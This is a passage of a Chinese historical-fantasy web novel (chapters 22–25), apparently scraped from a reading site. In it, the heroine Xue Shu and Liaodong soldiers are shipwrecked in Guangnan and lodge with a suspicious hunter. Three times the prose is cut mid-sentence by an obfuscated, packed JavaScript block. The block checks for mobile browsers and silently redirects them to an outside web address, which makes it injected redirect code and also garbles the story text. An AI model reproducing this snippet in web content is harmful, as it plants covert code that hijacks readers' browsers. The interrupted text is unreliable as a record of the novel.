这么做其实有些不地道,但薛殊脸皮厚,慷他人之慨,一点不心虚。船员们却想不到这么多,如果将整座船看成一个小型生态舱,他们无疑是金字塔底层,干最苦最累的活,拿最微薄的俸禄,辛苦一年也赚不了三五两银,有时还要被主人家用这样那样的借口克扣。 但是薛殊来了,她把欺压他们的“大人”丢进海里,她把克扣薪俸的管事整治成了小媳妇儿,她不会拿鞭子抽人,一边抽打一边骂他们懒骨头;她也不会威胁他们老实地闭上嘴,不然就要他们一家老小喝西北风。 她为他们看诊,询问他们家中境况——高堂是否健在?孩儿今年多大了?哎呀呀,正是读书的年纪,可有请一位好先生?哪怕不考科举,多读些书也没坏处,识字明理才不会被人欺负了去。 等这趟回去,每个人都置办了不小的家业,就不用这么辛苦。或是置两亩地,或是做小本生意,每日与妻儿相守,闲话家常,不比受风浪吹打惬意得多? 这都是薛殊带给他们的好处,只要她还在这条船上说话算话,她许诺的回报就能兑现,而他们就能揣着这样美好的幻梦回到故土,过上富贵安稳的日子。 这样的梦,一辈子只能做一次,不牢牢把握机会,更待何时? 于是当胡千岩带着心腹和眼线采买回来时,发现不止辽东军,上上下下的船员看薛殊的眼神也不一样了。 * 补充了淡水和物资的船上终于能吃一顿好的,薛殊啃了好几天的干粮,难得见到新鲜蔬菜和瓜果。 尤其广东气候温暖多雨,滨海港口尤其如此,蔬菜和瓜果种类也格外丰富。薛殊用了好些柑橘,前两日嘴角起的燎泡总算消下去少许。 辽东军们也喝上采买的药汤,没用做饭的大锅,买了好些小药炉,就搁在甲板上。到处都是熏人的药气,士卒们却不嫌弃,苦涩的汤水一碗碗灌进肚里,轮廓分明的脸就成了扭曲的包子褶。 “忒苦!” 连天的抱怨声中,商船驶离广东港,向着海天尽头、遥远的大陆而去。而紧紧相隔两个时辰,提塘官快马驶入广州城,将金陵朝廷下达的通缉文书与浙直总督的亲笔信送去两广总督府。 不过这时,商船早已消失无踪。 22. 第二十二章 从浙江到广东花了五六日,从广东到相距最近的南洋番邦,又是八九日航程。 海上航行是很枯燥乏味的。海面上的景色当然很美,天空压得很低,有时有白云流过,有时没有。不管有没有云彩点缀,天空都是通透澄澈,蓝得发碧,能掐出水似的。 大海也很美,波涛翻涌,一望无尽。那是与天空不同的蓝法,深沉、静谧,乍看温柔沉静,看久了,那海下藏着隐隐绰绰的影子,随时会破浪而出。 就像胡千岩眼里的薛殊一样。 当他发现薛殊趁他下船采购物资时,将运送的部分货物分与水手,事情已经无法挽回。他当然可以态度强硬地命令船员交出货物,但船员们不会听他的,而他也无法再命令他们。有薛殊,有二百辽东军,他们不会干看着。 想明白这一层,胡千岩胸口的怒火平息了。 船不是自己的,人不是自己的,甚至命也不是自己的。 还能怎么着? 躺平呗。 胡千岩躺平了,薛殊省心了,于是日子过得越发无聊。尤其海上景色虽美,却也一成不变,无时无刻不在看,很快就看腻了。 没有打发时间的话本闲书,也不能开赌局取乐,做什么呢? 除了看一看辽东军日常操练,就只能磕牙打屁唠家常。 是的,这就是辽东军,这就是大穆最精锐的军队,哪怕被扣上“逆军”的帽子,哪怕出海逃命,日常操练也不能落下,时不时就得摔打身体。 腰带一解,上衣一脱,三五个精壮汉子赤着上身玩格斗。手臂丰隆,肌肉结实,那场面真是非一般的美感。 反正薛殊是没扛住,走过路过偷瞄了好几眼。 军汉们没留心,岑宁却觉出不妥,借着上前攀谈的机会,侧身挡住薛殊视线。 美景没了,薛殊颇为惋惜地叹了口气。 但也并非没有收获,从岑宁口中,薛殊意识到“辽东军”这个概念跟自己想象的不太一样。它不只是大穆朝廷治理下一支建制部队,也不是所有驻守辽东的军队都能称作“辽东军”,严格意义上说,只有前后两任辽东总兵麾下的嫡系部队,才配称为辽东军的精锐主力。 或者换作另一个更响亮的名号,辽东铁骑! 薛殊早从各色人等口中断断续续听过两任辽东总兵的事迹,却直到此刻才将所有碎片拼凑完整:两任辽东总兵是父子,老子叫魏成契,出身军功世家,族谱上那一连串的“都督同知”和“宁远侯”的标签亮得闪瞎人眼,可惜传到魏成契这一代已是家道中落,差一点就泯然众人。 之所以说“差一点”,是因为魏成契他爹会生儿子,自己是个名不见经传的指挥佥事,儿子却以功累迁,从参将,到副总兵,再到辽东都督同知,世代承袭千户,以其功勋威望,成了名副其实的辽东军事第一人。 一般而言,这种军功世家很容易再衰三竭,养出的军二代,要么是狐假虎威的纨绔子,仗着老爹威风横行霸道,真叫他们抄刀子上阵就怂了;要么是赵括那等纸上谈兵之流,兵法看过几遍,理论知道一些,说起打仗的本事……唔,听听就好,不必较真。 可魏家偏偏运道好,一个魏成契是将才,传到下一代,还特么是将才! 这位军二代将才单名一个渊字,也是魏成契唯一的儿子。此人年少成名,十几岁就在魏成契帐下听令,实打实的上阵父子兵。待得魏成契战死,他又顺理成章子继父业,成了大穆朝唯一一个未满弱冠就接任总兵的高级军官。 怎么说呢?就……挺招人恨的。 可真格论起来,这对父子最招人恨的,还不是年少得势位高权重。 “所以,”薛殊整合完信息,有点干涩地得出一个结论,“辽东铁骑最开始根本不是朝廷编制,而是魏家父子的私兵?他们将辽东游侠收为家将,又从家将中选拔精锐组成骑兵,自此开启了所向披靡的征伐之路?” 虽然薛殊的用词有点怪,但岑宁忽略了,略带矜持地点了点头:“差不多是这样。” 薛殊沉默片刻:“……朝廷不管?” 岑宁犹豫了下,用一番委婉而动听的言辞解释了魏家的难处、朝廷的苦衷,以及双方最终是如何秉承开诚布公的态度达成友好共识。 可在薛殊听来,撇去那些遮羞的漂亮话,最直接的理由是:朝廷太废,拿不出人才也给不足军饷;而辽东又太乱,关外努人虎视眈眈,草原蛮部也不消停,甚至数年前,连偏安孤岛的倭人都添了把乱,仗着当今天子懒怠不上朝,差点给三韩吞了。 你不让人家自己想法子拉队伍赚军饷,怎么着,你换个人去试试? 碍于时局,碍于魏氏威名,也碍于辽东铁骑勇猛无匹、来去如风的战斗力,朝廷捏着鼻子认了。 可认得了一时,忍得了一世吗? 即便薛殊出身风尘,也知道本朝武将是个极为尴尬的存在,开国之初待遇极高,可随着时间推移,各地战事平息,武将地位一落千丈,文官们又抖了起来。 一个帝王集权无以复加的国度,一个忌惮军将以文制武的朝廷,能容忍手握重兵尾大不掉的边将吗? 不,这已经不是普通的将领,他们有自己的私兵,这支被誉为“天下第一强军”的精锐部队不听朝廷号令,反倒唯魏氏父子马首是瞻。 用更合适的词形容,这叫军阀。 薛殊捏了捏鼻梁。 她想,辽东军固然冤枉……可也不算冤枉到家。 * “既然你们原是魏氏家将,”薛殊继续提出疑问,“怎么你家将军反倒姓云?” “匹夫无罪怀璧其罪”的念头只在脑中稍一闪现,就被她强压下去。“莫须有”的笑话听一耳朵就好,真装心里了,也白瞎了另一个时空的九年制义务教育。 岑宁就叹了口气。 “将军的父亲原是大帅帐下家将,跟了大帅十多年,很受信重,”他语焉不详道,“但是后来……犯了事,大帅怜惜故人之子,就收了他当义子,带在身边亲自教养。” 薛殊恍然。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872592|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这就说得通了。 她一直觉得岑宁待云澈的态度甚是古怪,他称云澈“将军”,听从他的号令,说话前先看他的脸色,这是合理的。可又不是纯然的上级对下级的恭敬,偶尔还会有长辈看晚辈的亲近爱护。 如果云澈是这位看着长大,被他当成半个少主人,这就说得通了。 “那你们将军……” 薛殊话没说完,就被头顶的“嗷”一嗓子打断:“前面!前面能看到陆地了!” 瞭望台上的火长兴奋难持,船舷边的薛殊蓦地回头,极目远眺,果然在海天交界处看到一线起伏暗影。 她目光刚亮一半,豆大的水珠就打上鼻梁。只听狂风大作,不知从哪飘来一片乌云,遮住碧空白云,投落深沉的暗影。 “风暴又来了!” * 热带海域多风暴,是每个上过高中地理的现代人都有的常识,可直到雨点砸落前,薛殊都把这件事忘得干干净净。 这船上除了二百多职业军人,还有几十个专业水手,经历过的风暴比走过的桥还多,当下划桨的划桨,掌舵的掌舵,齐心协力操控船只往陆地方向靠拢。 这一回,薛殊没了赵文笙远程指导,也不必拔刀架在火长脖子上,老老实实躲进船舱。不多会儿,船体开始颠簸,人好端端站着,没来由就开始上蹿下跳。 薛殊使出吃奶的力气,用腰带将自己绑在床榻上,总算避免了筛元宵的命运。 她不习惯应对风暴,故而手忙脚乱,难得显露出狼狈。但对当地居民来说,风暴是最习以为常的事,伴随他们出生,也伴随他们死亡。 当呼啸肆虐的狂风撼动沿海的橄榄林时,一道娇小的身影顶着螺型斗笠,鹿一样轻盈地躲进最繁茂的枝叶底下。 她了解这片海滩,就像熟悉自己的掌纹。风暴来临时,海浪成了怪兽的巨口,会吞噬下一切敢于靠近的生灵。可它的怒火来得快去得也快,只要耐心等上个把时辰,海面就会恢复往日的宁静,而慷慨的沙滩将把大海的馈赠全都留给她。 她百无聊赖地抠着树皮,不知等了多久,头顶的老天终于咆哮够了,收了云雨神通,挥一挥衣袖,留给天边一抹彩虹。阳光重新降临大地,雨洗后的世界,一切都是那么清新美好。 ……最美好的当属沙滩上各种各样的海货。 喜欢在岩礁里做窝的长牡蛎,拳头大小的河蚌,藏在沙子中的泥蛤,还有看起来傻乎乎,跑起来横冲直撞的青蟹。它们自以为躲得很好,却逃不过她的眼睛,她用一双沾满沙泥的手,将它们一一翻出,丢到斜挎的竹篓里。 这些小东西当不得饱,可拿到市集上,运气好也能换些糙米回来。若实在没人要,带回家拿盐腌了,当咸菜就豆粥也是不错的,起码下饭。 她正想着有的没的,忽听“轰”一声,巨大的阴影罩落头顶。 她抬起头,目瞪口呆。 一艘大船像是被海豚追赶的大鱼,没头没脑地撞上沙滩,陷在沙泥里动不了了。 23. 第二十三章 薛殊踉踉跄跄冲上甲板,差点把五脏六腑吐出来。 上回经历风暴,她正和宋钊上演生死时速,肾上腺素疯狂分泌,倒没顾上晕船这档事。这回没了后顾之忧,好家伙,视觉和内耳前庭系统同时撂了挑子,以此对她这个不负责任的主人提出强烈抗议。 她扒着船舷撕心裂肺了好一会儿,终于清干净库存。抬头瞧见一只水囊,是脸色不比她号多少的岑宁递来的。 海上航行淡水珍贵,每个人都得省着喝用。如今靠了岸,薛殊依然改不过来,灌两口全咽了。 然后她一抹嘴:“你家将军怎样了?” 她晕船不假,辽东铁骑可是地地道道的辽人,自小长在马背上,发配江南之前,连大海是圆是扁都没见过。他们不适的症状不比薛殊强多少,只是仗着身板结实,硬扛住了。 但他们扛得住,不代表伤员也行。 “正要请姑娘去瞧瞧,”岑宁眉头紧锁道,“将军……不太好。” 薛殊二话不说,拔腿就跑。 云澈这一遭受了不小的罪,他胸口箭疮未愈,又挨了船行颠簸,好容易靠了岸,只觉得头痛恶寒,哪哪都不对劲。 薛殊摸了摸他额头,不出意外地发起高热,再摁了摁脉门,心里有了数。 “受了凉,又有些水土不服,幸好发作得早,病症尚在皮肤之间,咱们对症下药,倒也不妨事。” 她一边说,一边打开广州时置办的药箱,取出一套针灸用的银针。 云澈其人,轮廓分明五官坚毅,若是大好了,也是神姿俊朗的人样子一枚。可他现在连伤带病,脸是白的,唇是青的,偶尔一睁眼,那眼瞳都失了神采,只差剥皮去鳞,往砧板上一放。 薛殊也真把他剥光了,三下五除二扎成个刺猬,又问岑宁:“胡千岩呢?叫他过来问问,咱们这是到哪了,附近可有城镇置办药材?” 胡千岩来得很快,额角肿起鸡蛋大一团淤青,瞧着像是在哪撞的,不过在场两个清醒的人谁也没心思问。 “这里是广南国,原本想着在会安或是岘港落脚,没曾想途中遇上风暴,不知给咱们吹哪来了,”他苦着一张脸,“怕是得下船寻个当地人问问。” 薛殊不动声色,脑子里却转成风轮。 虽然这个时空并不能与历史课本上的任何一个朝代相对应,但对于“广南国”这个名称,她还是略有些了解。 简单说来,这是安南内战期间的割据政权之一,国主姓阮,祖上亦曾是一方豪强,却倒霉催地被自己辅佐的主子一杯酒毒死。 他死了不要紧,手中势力总得有人继承。那么谁合适呢?这里有两个竞争人选,一个是他的嫡亲女婿,姓郑;一个是他的次子,也姓阮。这二位掐得你来我往你死我活,一时半会儿谁也奈何不了谁,干脆沿着灵江一劈两半,一人一头占据南北。 北边那位自封“都元帅总国政尚父平安王”……行吧,封号有点长,升斗小民记不住,就管他叫“郑主”。相对应的,南边那位叫“阮主”,而他建立的政权就叫广南国。 薛殊并不确定胡千岩口中的“广南国”和她记忆中的是否是一回事,遂不急着当支嘴驴,耐着性子听胡千岩往下说。 “小人曾奉我家东主之命,往来广南国,粗通当地蕃语。若姑娘信得过,小人愿代为前往打探消息。” 他主动请缨,薛殊可不信只是出于助人为乐的善念。想了想,她说道:“此行须采买药材,还是我亲自跑一趟,不然被人用些失了药性的次品劣品骗了,上哪说理去?” 胡千岩谦卑微笑,并没有唱反调的意思。 薛殊看向岑宁,她现在还不是辽东军的正牌指挥官,不好直接发号施令,只能用商量的口吻说:“我与胡先生都不在船上,不能不留一个老成持重的主持大局,岑将军可愿……” 岑宁抱拳:“姑娘放心去吧,这里交与我便是。” 打量胡千岩两眼,又道:“只是此行吉凶难料,姑娘身边不能没人护卫。” 薛殊笑了:“我也是这样想的。” * 于是在岑宁的慷慨援手下,薛殊收获了十名新出炉的护卫,其中就有那个身材高大,难分是人是熊的壮汉。 壮汉生得凶神恶煞,人却极憨厚,自报家门姓许,名承训,曾于辽东军中担任指挥同知一职,乃是魏氏父子铁杆中的铁杆。 他待薛殊也客气,咧出一口明晃晃的大白牙:“姑娘有何吩咐,只管差遣咱老许去办,上刀山下油锅,咱保证没二话。” 此时薛殊已束起长发,作男装打扮,闻言微笑:“许大哥叫我什么?” 许承训一愣,打量她两眼方反应过来:“郎君,薛郎君!” 薛殊这才满意。 他们稍做准备便即下船,在海上漂流多日,好容易踏上实地,竟还有些不习惯。虽然那沙子软绵绵的,一脚下去陷了足帮,有些细碎颗粒还渗进开了线的布鞋,踩着怪硌脚的,可薛殊一点不在乎,很想小跑几步一跃而起,对着晴空和大海打个呼哨。 不过考虑到形象问题,到底忍住了。 然后他们环顾四周,发现这地方寻到个能问路的本地人,其实也没那么容易。 商船搁浅在一片海滩上,海水蔚蓝清澈,沙滩金黄绵密,放在数百年后是非常好的旅游景点,却不适合作为港口舶船。当然,选择这里舶船不能怪火长没眼光,毕竟天有不测风云,谁也预测不到老天爷下一把神威发在哪里。 放远一点,山,山,还是山。苍翠欲滴,高低起伏,像一双绿色的手臂,环绕着这片黄金海岸,叫初来乍到的客人们感受到此地特有的,绿油油的好客风情。 这就意味着,他们想找个当地人问路,得穿过这片不知道有没有豺狼虎豹或是毒瘴瘟疫的林子,若是运气好,说不定还能上演一出广南版的“狂蟒之灾”。 薛殊运气一向不错,没走几步,曾经当过多年斥候的许承训耳朵动了动,肌肉结实的胳膊探到礁石背后,拎出一个身上没有三两肉,衣服晃荡晃荡,几乎挂不住的女童。 她挽着圆螺似的发髻,手里拎着圆螺状的斗笠,衣裳可能是黑色,也可能是灰色,反正洗过几遍就成了淡得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878199|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分辨不出原有颜色的灰白。圆袍领口探出一个尖得能戳死人的下巴颌子,再往上是一双乌溜溜的眼,眨也不眨地瞧着他们。 许承训打了一辈子人高马大的努人精骑,头一回跟小女娃子动手,女童没怎么样,他自己先怪叫一声,触电般撒了手。 “差点跟妇孺动了手,”他蠕动着嘴唇嘀咕道,“要是少帅还在,非废了我这条腕子不可。” 薛殊没理会他的自言自语,端起平生最和蔼的微笑,蹲下身和女童视线平齐。 “帮我问问她,”她吩咐胡千岩,“她是这附近的孩子吗?这附近哪里有人家,最近的城镇又在哪?” 胡千岩笑眯眯地上前,用当地语说了几遍。不知是各地域的方言不同,还是那女童心怀戒备,她直勾勾地盯着薛殊,不说话也不回应。 薛殊想了想,从怀里摸出个荷包。谁知这时,那女童捂住胸口,很痛苦地喘了两下,突然倒地抽搐口吐白沫。 连薛殊带几个辽东兵都吓了一跳,只以为这孩子有什么宿疾。薛殊上前一步,正待为她把脉,那女童反应极快地朝她丢出一把沙子,趁着薛殊被迷了眼,劈手抢过她捏着的荷包,爬起身就跑。 薛殊:“……” 一众辽东兵:“……” 前者是眼睛疼得睁不开,后者是事发仓促没回过神,等迷了眼的揉净沙子,原地发呆的三魂归窍,抢荷包的小贼早不见了踪影。 成天致力于给别人挖坑,不曾想自己被小雀啄了眼的薛女士沉默一会儿:“你家少帅有说过,被妇孺坑了后该怎么办吗?” 许承训委委屈屈地缩起脖子。 * 荷包被抢了,问题不大,里头没啥值钱东西,只有两块肉干,留着当干粮的。丢了虽说有点可惜,但也不至于心疼。 向导跑了,这个有点棘手,他们得靠自己的两条腿,和不知灵不灵的方向感,穿越这片不知道分布了多少危险的山林。 “南洋多瘴气,稍后进入林子,不得随意触摸任何植被,不得靠近沿途溪流,饮水需取自清洁水源,且烧开方可。” 炎热潮湿的地带多毒物,树干上可能聚集毒蚁,灌木后或许藏着毒蛇,东北老爷们能硬扛零下三十度的极寒天气,却未必扛得住溪流里那不知名的病菌和寄生虫。 辽东军不懂这些,但他们相信薛殊的医术,答应得很痛快。 很快他们意识到,薛殊的提醒非常有先见之明。 在山林里赶路是很不容易的,即便辽东军曾在下着暴雪的夜晚伏击敌军,也不代表他们能顺利应付热带丛林。在前头开路的是薛殊,她捏了根丈许长的木棍,一边走一边戳一戳草丛中、落叶下,还有石头阴暗处。 许承训一开始不明白她这么做的用意,可当落叶底下钻出一条三角脑袋的白花蛇时,他悟了。 因为薛殊足够小心,这一趟开始还算顺利。他们走了大半个时辰,正打算歇歇脚时,忽然愣在原地。 前方是一株树,枝叶参天。树上拴着一张网,结实细密。 网里……不是猎物,是一个人。 24. 第二十四章 片刻后,绳子被割断,猎网被卸下,网里的人被救了出来。 薛殊递上水壶,里头除了烧开的淡水,还加了少许细盐。那人尚未完全清醒,先下意识吞咽了好几口,嘴角流出水渍,干裂的嘴唇咂摸了下。 “谢谢……”他用广安当地的语言道谢,“你们,救了我。” 薛殊偏头打量他。 这是个年轻汉子,二十来岁的模样,看打扮是当地居民无疑,穿着兽皮裁制的人字拖,露着黢黑的脚趾,腰间佩着短刃和柴刀,瞧着像是个猎户。 不必薛殊示意,胡千岩已经上前搭话。他自称是大穆来的商队,快靠岸时遭遇风暴,被吹到这片海滩,不知附近是否有城镇可以交易。 年轻汉子有一副端正的相貌,做出诚恳表情时尤其打动人。他的声音也很真挚:“这里是广平营,你们要寻大城,可得往北走一阵呢。” 胡千岩又问:离这最近的大城叫什么?那里的官府可会接待咱们这些从穆朝来的商人? 年轻汉子比比划划地回答:离这最近的大城叫西卷城,你跟守城门的差吏说,是穆朝来的商人,他们自会登记,等核对身份、验完货物,就会发给你一面腰牌,再送你去穆人聚居的村镇落脚。 这两人用当地语一问一答,十个辽东兵都是一头雾水。有人凑到许承训耳畔,刚一张口:“佥事……” 就被许承训瞪了眼。 那人回过神,讪笑了笑:“一时改不过口……许头,你说他们嘀嘀咕咕说什么呢?” 许承训钵盂大的手一摊:“我又不懂广南话,我怎么知道?” 那人就瞎操心:“咱们都不懂广南话,要是这个姓胡的管事起了歹心……” 许承训满不在乎:“出来时同知吩咐了,让听薛姑娘的,她既没开口,想来没大碍。” 那人不吭气了。 他俩商量完,胡千岩也和年轻汉子沟通完毕,朝着薛殊一拱手:“郎君,此人自称姓武,是附近猎户。他说知道哪有大城,只是路有些远。如今天色不早,何不去他村里住上一宿,明日再赶路?” 薛殊似笑非笑地睨着他,眼神不带丝毫烟火气,却瞧得胡千岩心口发颤,温顺地垂落眼帘。 很快,薛殊的答复传来:“成,就这么办吧。” * 胡千岩的异样当然不是因为荷尔蒙泛滥,虽然薛殊确实是个美貌女子,可他给吴家打工,薪酬不菲,再美貌的女子也见识过。 他的异样是因为心虚,心虚是因为他在向薛殊转述时,隐瞒了交谈时的部分信息。 比如这个姓武的猎户询问他们,这一行带了多少人,船上载了什么货物,准备在当地待多久? 运来的是丝绸?丝绸好啊,在咱们这儿是畅销货,花纹越多越金贵,那可是真真的有价无市。 实不相瞒,兄弟常年往西卷城里去,专给大户人家供货,要不要帮你们引荐引荐?只不过啊,兄弟替你感到可惜。 可惜什么?你瞧瞧你,大穆来的老爷,一表人才谈吐不凡,却要听个小白脸和傻大个的吩咐,不觉得大材小用吗? 要我说啊,你不如找个地方甩开他们,就咱哥俩把这事儿给办了,到时赚得的银钱还不都归你说了算? 我也不多要,十成里你分我一成,够意思吧? 什么,这几个人怎么办?哎呀我说兄弟,他们初来乍到,一不认路,二不会说当地语,你随便找个地方丢下他们,他们是插了翅膀会飞,还是无师自通了土遁术? 这些话语是用一种十分婉转且动听的方式表述出来,既很好地挑起胡管事的贪念,又不至于让他心生警觉。甚至有一度,胡千岩当真动了心,可就在他思忖这事有几分可行性时,冷不防一回头,恰好对上薛殊笑睨他的双眸,心头猛地打了个突。 他说不清缘由,但有一种不知名的力量阻止了他,到底没敢擅自应承,拿话岔了开。 姓武的猎户仿佛只是随口闲聊,见他并不当真,遂顺着转开话头。 不经意的阴影里,眼底闪过一抹失望。 * 虽然武猎户满口不尽不实,但有句话没错,他住的村子确实离薛殊他们不远。 胡千岩居中翻译,这位武猎户自称去山里碰运气,没想到运气今天没光顾他,反倒一脚踩进别人的陷阱里。要不是正好遇见薛殊他们,他还不知要荡多久秋千。 因为这个缘故,武猎户认薛殊当了半个恩人,热情地将他们领回村子。那也的确是个小村落,茅草铺的屋顶,竹木搭的框架,清一色下层储物上层住人,防震又防潮。 武猎户的屋子是村里最大的一间,他自称父母双亡,自己还没来得及成亲,因此独自一人居住。单身汉的屋子总是乱糟糟的,但并不脏,除了几个不知用途的瓶瓶罐罐,木桶里养着鱼,屋檐下还吊着一串腌肉,很有生活气息。 武猎户极客气地招呼他们坐下,自己跑去宰鱼割肉。许承训不好意思叫主人家一个人忙活,派人帮忙烧水劈柴。不多会儿,炊烟升起,饭菜的香味飘来。有人开始吞口水,也有人仔细查看各处出入要道,不为所动。 吞口水的是胡千岩带来的随从,不为所动的是辽东军。但他们的反应都没薛殊奇怪,仗着主人家不在场,她将自己挪到那几个瓶瓶罐罐前,不光挨个验看,还从中抓出一小撮,凑近闻了闻,甚至用舌尖舔了舔。 当武猎户回来时,薛殊已经完成探查工作,规规矩矩地坐回草席,两手甚是端庄地摁于膝头。没人拆穿她,武猎户也未曾察觉异样,他慷慨热情地将一大片芭蕉叶展开,里面是蒸熟的糙米饭,加了香料的鱼和烤熟的腌肉,和几样当地常见的野菜。 “没有什么好东西,”他在衣摆处擦了擦手,像一个真正淳朴的主人家,露出些许腼腆的笑,“你们尝尝。” 旁人还在犹豫,薛殊已经按照当地人的习惯,取了点糙米饭捏成团子,随机裹入鱼肉和野菜,囫囵个塞进嘴里。 许承训就急了,怕食物里动了手脚,直到薛殊递给他一个“无需担心”的眼神,他才想起,这姑娘精通医术,想必自有辨认毒物的法子。 既然她敢入口,说明这些饭食没问题,那还等什么?开动! 这顿饭的味道,怎么说呢?就……充满了当地风味。 烤鱼有种茅草的清香,烤肉酸中带辣,反正薛殊那曾在海底捞红油里浸泡过的舌头吃得挺香,至于其他人,嗐,行伍出身的,有鱼有肉有碳水就该阿弥陀佛了,有啥好计较? 他们一顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881068|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭成功光盘,不对,是光叶子,那老实憨厚的许佥事有点不好意思,拿眼看了薛殊好几回,那意思大约在问:就这么吃光了?这合适吗?不给点啥表示?打个欠条也成啊? 薛殊看到了,却当没看到,只是用完饭,她对许承训使了个眼色,两人仿佛要商议些什么,一前一后走去无人的僻静处。 武猎户表面没任何反应,人却站在栏杆旁,居高临下地投落眼神。 斜对角的屋檐下,一道矮小身影窜了出去,不远不近地缀在后头。 * 许承训第一时间发现了。 他想回头,却被薛殊拉住,于是硬生生忍下冲动。 但薛殊也没什么要紧的想说,或者在她看来很要紧,却与眼前诡异的局面没什么干系:“许大哥,我有个不情之请。” 徐承训回过神,忙道不敢:“郎君请说。” “都说辽东军战力精锐,是我大穆一等一的好汉子,”薛殊真挚诚恳,“我粗学过武艺,只是不精,很希望许大哥能指点我一二。” 辽东军哪一日不摔打身体?在许承训看来,这个要求简直像吃饭喝水一样简单:“成啊,郎君想什么时候开始?” 薛殊迫不及待:“就现在吧。” 许承训卡了片刻。 现在? 也……不是不成。 许承训人憨直不假,却不是没心眼。直觉告诉他这个村子很有古怪,但他说不清古怪在哪。如今薛殊在古怪的地方提出一个古怪的要求,那想必是勘破了古怪的玄机。 那还有什么好问的?照着做就是。 于是接下来的半个时辰,薛殊再次体会到“飞起”的滋味。尤其这是广南不知名的村落,不是国安部的格斗训练室,没有软垫缓冲,没有护具保护,她靠着灵敏的身形和不算多的脂肪扛下许承训已经收了力的攻击,却连一招也挡不住,一次又一次横飞出去。 最后一回,她趴在地上半天起不来身,胃里一阵翻江倒海。 许承训站在原地,期期艾艾的表情好像他才是被暴揍的那个:“要么,要么今天先到这儿?” 他实在不好意思,憨憨地摸了摸后脑:“我下手没轻重,回头还是让同知来跟郎君过招吧。” 薛殊的目的本也不是过招,虽然被连番揍飞确实很没面子,但她看向许承训身后,瞧见树后隐隐绰绰的人影,嘴角微微勾起。 “无妨,”她大度道,“谁不知辽东军是我大穆最精锐的战力?此番有你们护送,定能完成朝廷的吩咐,到时与广南阮主订立盟约,许将军就是第一功臣。” 许承训的眼睛睁大了,神色茫然了,虽然薛殊的话他每个字都认得,可凑在一起却成了天书:“郎君……” 薛殊怕他露馅,抢先一步打断:“咱们这回先探探路,若是这西卷的地方官是个好相与的便罢,若不然,等援军到了,直接拿下也没什么妨碍。” “总归这广南国百多年前,本就是大穆的王土,复归也不是说不过去的事。将军说,是不是这个理?” 许承训心说:我说什么?这话要我怎么接?我他哔——的该说什么? 但其实薛殊不需要他说什么,瞅着树后那抹影子一溜烟消失了,她极隐秘地笑了。 25. 第二十五章 许承训认定这村子有古怪,把薛殊一个好好的姑娘家逼得都不说人话了。 虽然薛殊没告诉他个中玄机,却架不住许佥事自己会脑补。当晚留在村子里过夜,他真是枕戈待旦,片刻不敢分神,腰刀就抱在怀里,一只耳朵竖着,预备着有宵小之辈闯进来,就捅他一个透明窟窿。 然而令人大失所望的是,这一宿出奇的安静,没有宵小,没有刺客,也没有法外狂徒。他快天亮时实在耐不住困倦,敲醒同伴换了班,自己稍稍眯了会儿。再睁眼时,天光渐亮,村里的人家冒起炊烟。 许承训猛地一激灵,抱刀就往外跑,只见山间笼着轻纱似的晨雾,那纱拂过山林,染上了淡淡的绿、薄薄的青。薛殊凭栏而立,侧头看着远方,脸颊被霞光勾勒出飘渺的金边。 “许大哥好早,”她听到脚步声,回头一笑,“武郎君在准备早饭,用完咱们就能上路了。” 她说完发觉这话有歧义,但许承训没留心。他摁了摁脖筋,手臂肌肉卡啦卡啦作响。 “昨晚倒是安静,”他半是抱怨半是试探,“枉我悬了半宿的心,觉都没睡好。” 薛殊不知睡好了没,看精神还不错。她像是没听出这话里的试探意味,只一笑。 “等到了西卷城,”她说,“随许大哥爱睡多久。” 早饭还是糙米饭,配几样腌菜,在当地就算顶好的伙食。许承训到底过意不去,问胡千岩借了两锭碎银,塞给武猎户权当伙食费。 武猎户没推辞,脸上笑眯眯的,眼珠却有意无意往许承训怀里瞟。久经战阵的精锐军人,身上很有料,但更有料的是他那把从不离身的佩刀——鲨鱼皮鞘,没有任何装饰,刀头呈现波浪造型,线条酷似大雁振翅。 这是大穆军队配备的“雁翅刀”,还不是普通士卒能装备的,只有高级别军官有资格配戴。 武猎户收回目光,将碎银揣进怀里,领着这一干人穿过村庄,直到将密林甩在身后,大路近在眼前,他才效仿中原习俗,行了个抱拳礼。 “诸位,后会有期。” * “我觉得他不像普通村民,”在踏上官道后,许承训将这句憋了许久的话道出,“寻常百姓没他那样的镇定,也没他那股做派。” 薛殊含笑不语。 但许承训直勾勾地盯着她:“郎君昨日那话到底什么意思?咱们怎就成了朝廷联络阮主的使者?” 薛殊原不待细说,可许承训一直在问,她便反问一句:“许大哥可知,那姓武的猎户家中几个罐子里装了什么?” 许承训老实地摇了摇头。 